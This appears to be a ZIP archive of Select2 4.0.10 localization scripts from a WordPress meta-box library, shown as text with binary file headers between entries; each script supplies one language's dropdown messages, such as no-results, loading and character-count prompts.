!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hsb",[],function(){var n=["znamješko","znamješce","znamješka","znamješkow"],e=["zapisk","zapiskaj","zapiski","zapiskow"],u=function(n,e){return 1===n?e[0]:2===n?e[1]:n>2&&n<=4?e[2]:n>=5?e[3]:void 0};return{errorLoading:function(){return"Wuslědki njedachu so začitać."},inputTooLong:function(e){var a=e.input.length-e.maximum;return"Prošu zhašej "+a+" "+u(a,n)},inputTooShort:function(e){var a=e.minimum-e.input.length;return"Prošu zapodaj znajmjeńša "+a+" "+u(a,n)},loadingMore:function(){return"Dalše wuslědki so začitaja…"},maximumSelected:function(n){return"Móžeš jenož "+n.maximum+" "+u(n.maximum,e)+"wubrać"},noResults:function(){return"Žane wuslědki namakane"},searching:function(){return"Pyta so…"},removeAllItems:function(){return"Remove all items"}}}),n.define,n.require}();PK     N\    0  inc/dashboard/lib/meta-box/js/select2/i18n/bg.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/bg",[],function(){return{inputTooLong:function(n){var e=n.input.length-n.maximum,u="Моля въведете с "+e+" по-малко символ";return e>1&&(u+="a"),u},inputTooShort:function(n){var e=n.minimum-n.input.length,u="Моля въведете още "+e+" символ";return e>1&&(u+="a"),u},loadingMore:function(){return"Зареждат се още…"},maximumSelected:function(n){var e="Можете да направите до "+n.maximum+" ";return n.maximum>1?e+="избора":e+="избор",e},noResults:function(){return"Няма намерени съвпадения"},searching:function(){return"Търсене…"},removeAllItems:function(){return"Премахнете всички елементи"}}}),n.define,n.require}();PK     N\T$    0  inc/dashboard/lib/meta-box/js/select2/i18n/he.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/he",[],function(){return{errorLoading:function(){return"שגיאה בטעינת התוצאות"},inputTooLong:function(n){var e=n.input.length-n.maximum,r="נא למחוק ";return r+=1===e?"תו אחד":e+" תווים"},inputTooShort:function(n){var e=n.minimum-n.input.length,r="נא להכניס ";return r+=1===e?"תו אחד":e+" תווים",r+=" או יותר"},loadingMore:function(){return"טוען תוצאות נוספות…"},maximumSelected:function(n){var e="באפשרותך לבחור עד ";return 1===n.maximum?e+="פריט אחד":e+=n.maximum+" פריטים",e},noResults:function(){return"לא נמצאו תוצאות"},searching:function(){return"מחפש…"},removeAllItems:function(){return"הסר את כל הפריטים"}}}),n.define,n.require}();PK     N\    0  inc/dashboard/lib/meta-box/js/select2/i18n/sl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sl",[],function(){return{errorLoading:function(){return"Zadetkov iskanja ni bilo mogoče naložiti."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Prosim zbrišite "+n+" znak";return 2==n?t+="a":1!=n&&(t+="e"),t},inputTooShort:function(e){var n=e.minimum-e.input.length,t="Prosim vpišite še "+n+" znak";return 2==n?t+="a":1!=n&&(t+="e"),t},loadingMore:function(){return"Nalagam več zadetkov…"},maximumSelected:function(e){var n="Označite lahko največ "+e.maximum+" predmet";return 2==e.maximum?n+="a":1!=e.maximum&&(n+="e"),n},noResults:function(){return"Ni zadetkov."},searching:function(){return"Iščem…"},removeAllItems:function(){return"Odstranite vse elemente"}}}),e.define,e.require}();PK     N\ib  b  0  inc/dashboard/lib/meta-box/js/select2/i18n/de.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/de",[],function(){return{errorLoading:function(){return"Die Ergebnisse konnten nicht geladen werden."},inputTooLong:function(e){return"Bitte "+(e.input.length-e.maximum)+" Zeichen weniger eingeben"},inputTooShort:function(e){return"Bitte "+(e.minimum-e.input.length)+" Zeichen mehr eingeben"},loadingMore:function(){return"Lade mehr Ergebnisse…"},maximumSelected:function(e){var n="Sie können nur "+e.maximum+" Element";return 1!=e.maximum&&(n+="e"),n+=" auswählen"},noResults:function(){return"Keine Übereinstimmungen gefunden"},searching:function(){return"Suche…"},removeAllItems:function(){return"Entferne alle Elemente"}}}),e.define,e.require}();PK     N\W  W  0  inc/dashboard/lib/meta-box/js/select2/i18n/ko.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ko",[],function(){return{errorLoading:function(){return"결과를 불러올 수 없습니다."},inputTooLong:function(n){return"너무 깁니다. "+(n.input.length-n.maximum)+" 글자 지워주세요."},inputTooShort:function(n){return"너무 짧습니다. "+(n.minimum-n.input.length)+" 글자 더 입력해주세요."},loadingMore:function(){return"불러오는 중…"},maximumSelected:function(n){return"최대 "+n.maximum+"개까지만 선택 가능합니다."},noResults:function(){return"결과가 없습니다."},searching:function(){return"검색 중…"},removeAllItems:function(){return"모든 항목 삭제"}}}),n.define,n.require}();PK     N\N    0  inc/dashboard/lib/meta-box/js/select2/i18n/uk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/uk",[],function(){function n(n,e,u,r){return n%100>10&&n%100<15?r:n%10==1?e:n%10>1&&n%10<5?u:r}return{errorLoading:function(){return"Неможливо завантажити результати"},inputTooLong:function(e){return"Будь ласка, видаліть "+(e.input.length-e.maximum)+" "+n(e.maximum,"літеру","літери","літер")},inputTooShort:function(n){return"Будь ласка, введіть "+(n.minimum-n.input.length)+" або більше літер"},loadingMore:function(){return"Завантаження інших результатів…"},maximumSelected:function(e){return"Ви можете вибрати лише "+e.maximum+" "+n(e.maximum,"пункт","пункти","пунктів")},noResults:function(){return"Нічого не знайдено"},searching:function(){return"Пошук…"},removeAllItems:function(){return"Видалити всі елементи"}}}),n.define,n.require}();PK     N\ğL    0  inc/dashboard/lib/meta-box/js/select2/i18n/bn.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/bn",[],function(){return{errorLoading:function(){return"ফলাফলগুলি লোড করা যায়নি।"},inputTooLong:function(n){var e=n.input.length-n.maximum,u="অনুগ্রহ করে "+e+" টি অক্ষর মুছে দিন।";return 1!=e&&(u="অনুগ্রহ করে "+e+" টি অক্ষর মুছে দিন।"),u},inputTooShort:function(n){return n.minimum-n.input.length+" টি অক্ষর অথবা অধিক অক্ষর লিখুন।"},loadingMore:function(){return"আরো ফলাফল লোড হচ্ছে ..."},maximumSelected:function(n){var e=n.maximum+" টি আইটেম নির্বাচন করতে পারবেন।";return 1!=n.maximum&&(e=n.maximum+" টি আইটেম নির্বাচন করতে পারবেন।"),e},noResults:function(){return"কোন ফলাফল পাওয়া যায়নি।"},searching:function(){return"অনুসন্ধান করা হচ্ছে ..."}}}),n.define,n.require}();PK     N\*    0  inc/dashboard/lib/meta-box/js/select2/i18n/sk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sk",[],function(){var e={2:function(e){return e?"dva":"dve"},3:function(){return"tri"},4:function(){return"štyri"}};return{errorLoading:function(){return"Výsledky sa nepodarilo načítať."},inputTooLong:function(n){var t=n.input.length-n.maximum;return 1==t?"Prosím, zadajte o jeden znak menej":t>=2&&t<=4?"Prosím, zadajte o "+e[t](!0)+" znaky menej":"Prosím, zadajte o "+t+" znakov menej"},inputTooShort:function(n){var t=n.minimum-n.input.length;return 1==t?"Prosím, zadajte ešte jeden znak":t<=4?"Prosím, zadajte ešte ďalšie "+e[t](!0)+" znaky":"Prosím, zadajte ešte ďalších "+t+" znakov"},loadingMore:function(){return"Načítanie ďalších výsledkov…"},maximumSelected:function(n){return 1==n.maximum?"Môžete zvoliť len jednu položku":n.maximum>=2&&n.maximum<=4?"Môžete zvoliť najviac "+e[n.maximum](!1)+" položky":"Môžete zvoliť najviac "+n.maximum+" položiek"},noResults:function(){return"Nenašli sa žiadne položky"},searching:function(){return"Vyhľadávanie…"},removeAllItems:function(){return"Odstráňte všetky položky"}}}),e.define,e.require}();PK     N\JCw    0  inc/dashboard/lib/meta-box/js/select2/i18n/ka.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ka",[],function(){return{errorLoading:function(){return"მონაცემების ჩატვირთვა შეუძლებელია."},inputTooLong:function(n){return"გთხოვთ აკრიფეთ "+(n.input.length-n.maximum)+" სიმბოლოთი ნაკლები"},inputTooShort:function(n){return"გთხოვთ აკრიფეთ "+(n.minimum-n.input.length)+" სიმბოლო ან მეტი"},loadingMore:function(){return"მონაცემების ჩატვირთვა…"},maximumSelected:function(n){return"თქვენ შეგიძლიათ აირჩიოთ არაუმეტეს "+n.maximum+" ელემენტი"},noResults:function(){return"რეზულტატი არ მოიძებნა"},searching:function(){return"ძიება…"},removeAllItems:function(){return"ამოიღე ყველა ელემენტი"}}}),n.define,n.require}();PK     N\T$=    0  inc/dashboard/lib/meta-box/js/select2/i18n/fr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/fr",[],function(){return{errorLoading:function(){return"Les résultats ne peuvent pas être chargés."},inputTooLong:function(e){var n=e.input.length-e.maximum;return"Supprimez "+n+" caractère"+(n>1?"s":"")},inputTooShort:function(e){var n=e.minimum-e.input.length;return"Saisissez au moins "+n+" caractère"+(n>1?"s":"")},loadingMore:function(){return"Chargement de résultats supplémentaires…"},maximumSelected:function(e){return"Vous pouvez seulement sélectionner "+e.maximum+" élément"+(e.maximum>1?"s":"")},noResults:function(){return"Aucun résultat trouvé"},searching:function(){return"Recherche en cours…"},removeAllItems:function(){return"Supprimer tous les éléments"}}}),e.define,e.require}();PK     N\%4
  
  0  inc/dashboard/lib/meta-box/js/select2/i18n/nb.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/nb",[],function(){return{errorLoading:function(){return"Kunne ikke hente resultater."},inputTooLong:function(e){return"Vennligst fjern "+(e.input.length-e.maximum)+" tegn"},inputTooShort:function(e){return"Vennligst skriv inn "+(e.minimum-e.input.length)+" tegn til"},loadingMore:function(){return"Laster flere resultater…"},maximumSelected:function(e){return"Du kan velge maks "+e.maximum+" elementer"},noResults:function(){return"Ingen treff"},searching:function(){return"Søker…"},removeAllItems:function(){return"Fjern alle elementer"}}}),e.define,e.require}();PK     N\    0  inc/dashboard/lib/meta-box/js/select2/i18n/sq.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/sq",[],function(){return{errorLoading:function(){return"Rezultatet nuk mund të ngarkoheshin."},inputTooLong:function(e){var n=e.input.length-e.maximum,t="Të lutem fshi "+n+" karakter";return 1!=n&&(t+="e"),t},inputTooShort:function(e){return"Të lutem shkruaj "+(e.minimum-e.input.length)+" ose më shumë karaktere"},loadingMore:function(){return"Duke ngarkuar më shumë rezultate…"},maximumSelected:function(e){var n="Mund të zgjedhësh vetëm "+e.maximum+" element";return 1!=e.maximum&&(n+="e"),n},noResults:function(){return"Nuk u gjet asnjë rezultat"},searching:function(){return"Duke kërkuar…"},removeAllItems:function(){return"Hiq të gjitha sendet"}}}),e.define,e.require}();PK     N\?  ?  0  inc/dashboard/lib/meta-box/js/select2/i18n/hu.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/hu",[],function(){return{errorLoading:function(){return"Az eredmények betöltése nem sikerült."},inputTooLong:function(e){return"Túl hosszú. "+(e.input.length-e.maximum)+" karakterrel több, mint kellene."},inputTooShort:function(e){return"Túl rövid. Még "+(e.minimum-e.input.length)+" karakter hiányzik."},loadingMore:function(){return"Töltés…"},maximumSelected:function(e){return"Csak "+e.maximum+" elemet lehet kiválasztani."},noResults:function(){return"Nincs találat."},searching:function(){return"Keresés…"},removeAllItems:function(){return"Távolítson el minden elemet"}}}),e.define,e.require}();PK     N\׆u    3  inc/dashboard/lib/meta-box/js/select2/i18n/zh-TW.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/zh-TW",[],function(){return{inputTooLong:function(n){return"請刪掉"+(n.input.length-n.maximum)+"個字元"},inputTooShort:function(n){return"請再輸入"+(n.minimum-n.input.length)+"個字元"},loadingMore:function(){return"載入中…"},maximumSelected:function(n){return"你只能選擇最多"+n.maximum+"項"},noResults:function(){return"沒有找到相符的項目"},searching:function(){return"搜尋中…"},removeAllItems:function(){return"刪除所有項目"}}}),n.define,n.require}();PK     N\|      3  inc/dashboard/lib/meta-box/js/select2/i18n/zh-CN.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/zh-CN",[],function(){return{errorLoading:function(){return"无法载入结果。"},inputTooLong:function(n){return"请删除"+(n.input.length-n.maximum)+"个字符"},inputTooShort:function(n){return"请再输入至少"+(n.minimum-n.input.length)+"个字符"},loadingMore:function(){return"载入更多结果…"},maximumSelected:function(n){return"最多只能选择"+n.maximum+"个项目"},noResults:function(){return"未找到结果"},searching:function(){return"搜索中…"},removeAllItems:function(){return"删除所有项目"}}}),n.define,n.require}();PK     N\('  '  0  inc/dashboard/lib/meta-box/js/select2/i18n/is.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/is",[],function(){return{inputTooLong:function(n){var t=n.input.length-n.maximum,e="Vinsamlegast styttið texta um "+t+" staf";return t<=1?e:e+"i"},inputTooShort:function(n){var t=n.minimum-n.input.length,e="Vinsamlegast skrifið "+t+" staf";return t>1&&(e+="i"),e+=" í viðbót"},loadingMore:function(){return"Sæki fleiri niðurstöður…"},maximumSelected:function(n){return"Þú getur aðeins valið "+n.maximum+" atriði"},noResults:function(){return"Ekkert fannst"},searching:function(){return"Leita…"},removeAllItems:function(){return"Fjarlægðu öll atriði"}}}),n.define,n.require}();PK     N\#  #  0  inc/dashboard/lib/meta-box/js/select2/i18n/fi.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/fi",[],function(){return{errorLoading:function(){return"Tuloksia ei saatu ladattua."},inputTooLong:function(n){return"Ole hyvä ja anna "+(n.input.length-n.maximum)+" merkkiä vähemmän"},inputTooShort:function(n){return"Ole hyvä ja anna "+(n.minimum-n.input.length)+" merkkiä lisää"},loadingMore:function(){return"Ladataan lisää tuloksia…"},maximumSelected:function(n){return"Voit valita ainoastaan "+n.maximum+" kpl"},noResults:function(){return"Ei tuloksia"},searching:function(){return"Haetaan…"},removeAllItems:function(){return"Poista kaikki kohteet"}}}),n.define,n.require}();PK     N\}N05    0  inc/dashboard/lib/meta-box/js/select2/i18n/lt.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/lt",[],function(){function n(n,e,i,t){return n%10==1&&(n%100<11||n%100>19)?e:n%10>=2&&n%10<=9&&(n%100<11||n%100>19)?i:t}return{inputTooLong:function(e){var i=e.input.length-e.maximum,t="Pašalinkite "+i+" simbol";return t+=n(i,"į","ius","ių")},inputTooShort:function(e){var i=e.minimum-e.input.length,t="Įrašykite dar "+i+" simbol";return t+=n(i,"į","ius","ių")},loadingMore:function(){return"Kraunama daugiau rezultatų…"},maximumSelected:function(e){var i="Jūs galite pasirinkti tik "+e.maximum+" element";return i+=n(e.maximum,"ą","us","ų")},noResults:function(){return"Atitikmenų nerasta"},searching:function(){return"Ieškoma…"},removeAllItems:function(){return"Pašalinti visus elementus"}}}),n.define,n.require}();PK     N\ܓ    0  inc/dashboard/lib/meta-box/js/select2/i18n/sv.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sv",[],function(){return{errorLoading:function(){return"Resultat kunde inte laddas."},inputTooLong:function(n){return"Vänligen sudda ut "+(n.input.length-n.maximum)+" tecken"},inputTooShort:function(n){return"Vänligen skriv in "+(n.minimum-n.input.length)+" eller fler tecken"},loadingMore:function(){return"Laddar fler resultat…"},maximumSelected:function(n){return"Du kan max välja "+n.maximum+" element"},noResults:function(){return"Inga träffar"},searching:function(){return"Söker…"},removeAllItems:function(){return"Ta bort alla objekt"}}}),n.define,n.require}();PK     N\|G    0  inc/dashboard/lib/meta-box/js/select2/i18n/sr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sr",[],function(){function n(n,e,r,t){return n%10==1&&n%100!=11?e:n%10>=2&&n%10<=4&&(n%100<12||n%100>14)?r:t}return{errorLoading:function(){return"Preuzimanje nije uspelo."},inputTooLong:function(e){var r=e.input.length-e.maximum,t="Obrišite "+r+" simbol";return t+=n(r,"","a","a")},inputTooShort:function(e){var r=e.minimum-e.input.length,t="Ukucajte bar još "+r+" simbol";return t+=n(r,"","a","a")},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(e){var r="Možete izabrati samo "+e.maximum+" stavk";return r+=n(e.maximum,"u","e","i")},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Уклоните све ставке"}}}),n.define,n.require}();PK     N\X    0  inc/dashboard/lib/meta-box/js/select2/i18n/ps.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ps",[],function(){return{errorLoading:function(){return"پايلي نه سي ترلاسه کېدای"},inputTooLong:function(n){var e=n.input.length-n.maximum,r="د مهربانۍ لمخي "+e+" توری ړنګ کړئ";return 1!=e&&(r=r.replace("توری","توري")),r},inputTooShort:function(n){return"لږ تر لږه "+(n.minimum-n.input.length)+" يا ډېر توري وليکئ"},loadingMore:function(){return"نوري پايلي ترلاسه کيږي..."},maximumSelected:function(n){var e="تاسو يوازي "+n.maximum+" قلم په نښه کولای سی";return 1!=n.maximum&&(e=e.replace("قلم","قلمونه")),e},noResults:function(){return"پايلي و نه موندل سوې"},searching:function(){return"لټول کيږي..."},removeAllItems:function(){return"ټول توکي لرې کړئ"}}}),n.define,n.require}();PK     N\LEN    0  inc/dashboard/lib/meta-box/js/select2/i18n/az.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/az",[],function(){return{inputTooLong:function(n){return n.input.length-n.maximum+" simvol silin"},inputTooShort:function(n){return n.minimum-n.input.length+" simvol daxil edin"},loadingMore:function(){return"Daha çox nəticə yüklənir…"},maximumSelected:function(n){return"Sadəcə "+n.maximum+" element seçə bilərsiniz"},noResults:function(){return"Nəticə tapılmadı"},searching:function(){return"Axtarılır…"},removeAllItems:function(){return"Bütün elementləri sil"}}}),n.define,n.require}();PK     N\9T  T  0  inc/dashboard/lib/meta-box/js/select2/i18n/hr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hr",[],function(){function n(n){var e=" "+n+" znak";return n%10<5&&n%10>0&&(n%100<5||n%100>19)?n%10>1&&(e+="a"):e+="ova",e}return{errorLoading:function(){return"Preuzimanje nije uspjelo."},inputTooLong:function(e){return"Unesite "+n(e.input.length-e.maximum)},inputTooShort:function(e){return"Unesite još "+n(e.minimum-e.input.length)},loadingMore:function(){return"Učitavanje rezultata…"},maximumSelected:function(n){return"Maksimalan broj odabranih stavki je "+n.maximum},noResults:function(){return"Nema rezultata"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Ukloni sve stavke"}}}),n.define,n.require}();PK     N\<+&L  L  0  inc/dashboard/lib/meta-box/js/select2/i18n/en.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Please delete "+n+" character";return 1!=n&&(r+="s"),r},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var n="You can only select "+e.maximum+" item";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define,e.require}();PK     N\HE
$    0  inc/dashboard/lib/meta-box/js/select2/i18n/vi.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/vi",[],function(){return{inputTooLong:function(n){return"Vui lòng xóa bớt "+(n.input.length-n.maximum)+" ký tự"},inputTooShort:function(n){return"Vui lòng nhập thêm từ "+(n.minimum-n.input.length)+" ký tự trở lên"},loadingMore:function(){return"Đang lấy thêm kết quả…"},maximumSelected:function(n){return"Chỉ có thể chọn được "+n.maximum+" lựa chọn"},noResults:function(){return"Không tìm thấy kết quả"},searching:function(){return"Đang tìm…"},removeAllItems:function(){return"Xóa tất cả các mục"}}}),n.define,n.require}();PK     N\<U;    0  inc/dashboard/lib/meta-box/js/select2/i18n/tk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/tk",[],function(){return{errorLoading:function(){return"Netije ýüklenmedi."},inputTooLong:function(e){return e.input.length-e.maximum+" harp bozuň."},inputTooShort:function(e){return"Ýene-de iň az "+(e.minimum-e.input.length)+" harp ýazyň."},loadingMore:function(){return"Köpräk netije görkezilýär…"},maximumSelected:function(e){return"Diňe "+e.maximum+" sanysyny saýlaň."},noResults:function(){return"Netije tapylmady."},searching:function(){return"Gözlenýär…"},removeAllItems:function(){return"Remove all items"}}}),e.define,e.require}();PK     N\    0  inc/dashboard/lib/meta-box/js/select2/i18n/bs.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/bs",[],function(){function e(e,n,r,t){return e%10==1&&e%100!=11?n:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?r:t}return{errorLoading:function(){return"Preuzimanje nije uspijelo."},inputTooLong:function(n){var r=n.input.length-n.maximum,t="Obrišite "+r+" simbol";return t+=e(r,"","a","a")},inputTooShort:function(n){var r=n.minimum-n.input.length,t="Ukucajte bar još "+r+" simbol";return t+=e(r,"","a","a")},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(n){var r="Možete izabrati samo "+n.maximum+" stavk";return r+=e(n.maximum,"u","e","i")},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Uklonite sve stavke"}}}),e.define,e.require}();PK     N\?M  M  0  inc/dashboard/lib/meta-box/js/select2/i18n/ne.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ne",[],function(){return{errorLoading:function(){return"नतिजाहरु देखाउन सकिएन।"},inputTooLong:function(n){var e=n.input.length-n.maximum,u="कृपया "+e+" अक्षर मेटाउनुहोस्।";return 1!=e&&(u+="कृपया "+e+" अक्षरहरु मेटाउनुहोस्।"),u},inputTooShort:function(n){return"कृपया बाँकी रहेका "+(n.minimum-n.input.length)+" वा अरु धेरै अक्षरहरु भर्नुहोस्।"},loadingMore:function(){return"अरु नतिजाहरु भरिँदैछन् …"},maximumSelected:function(n){var e="तँपाई "+n.maximum+" वस्तु मात्र छान्न पाउँनुहुन्छ।";return 1!=n.maximum&&(e="तँपाई "+n.maximum+" वस्तुहरु मात्र छान्न पाउँनुहुन्छ।"),e},noResults:function(){return"कुनै पनि नतिजा भेटिएन।"},searching:function(){return"खोजि हुँदैछ…"}}}),n.define,n.require}();PK     N\cU  U  5  inc/dashboard/lib/meta-box/js/select2/i18n/sr-Cyrl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sr-Cyrl",[],function(){function n(n,e,r,u){return n%10==1&&n%100!=11?e:n%10>=2&&n%10<=4&&(n%100<12||n%100>14)?r:u}return{errorLoading:function(){return"Преузимање није успело."},inputTooLong:function(e){var r=e.input.length-e.maximum,u="Обришите "+r+" симбол";return u+=n(r,"","а","а")},inputTooShort:function(e){var r=e.minimum-e.input.length,u="Укуцајте бар још "+r+" симбол";return u+=n(r,"","а","а")},loadingMore:function(){return"Преузимање још резултата…"},maximumSelected:function(e){var r="Можете изабрати само "+e.maximum+" ставк";return r+=n(e.maximum,"у","е","и")},noResults:function(){return"Ништа није пронађено"},searching:function(){return"Претрага…"},removeAllItems:function(){return"Уклоните све ставке"}}}),n.define,n.require}();PK     N\L+  +  0  inc/dashboard/lib/meta-box/js/select2/i18n/ms.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ms",[],function(){return{errorLoading:function(){return"Keputusan tidak berjaya dimuatkan."},inputTooLong:function(n){return"Sila hapuskan "+(n.input.length-n.maximum)+" aksara"},inputTooShort:function(n){return"Sila masukkan "+(n.minimum-n.input.length)+" atau lebih aksara"},loadingMore:function(){return"Sedang memuatkan keputusan…"},maximumSelected:function(n){return"Anda hanya boleh memilih "+n.maximum+" pilihan"},noResults:function(){return"Tiada padanan yang ditemui"},searching:function(){return"Mencari…"},removeAllItems:function(){return"Keluarkan semua item"}}}),n.define,n.require}();PK     N\n    0  inc/dashboard/lib/meta-box/js/select2/i18n/hy.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

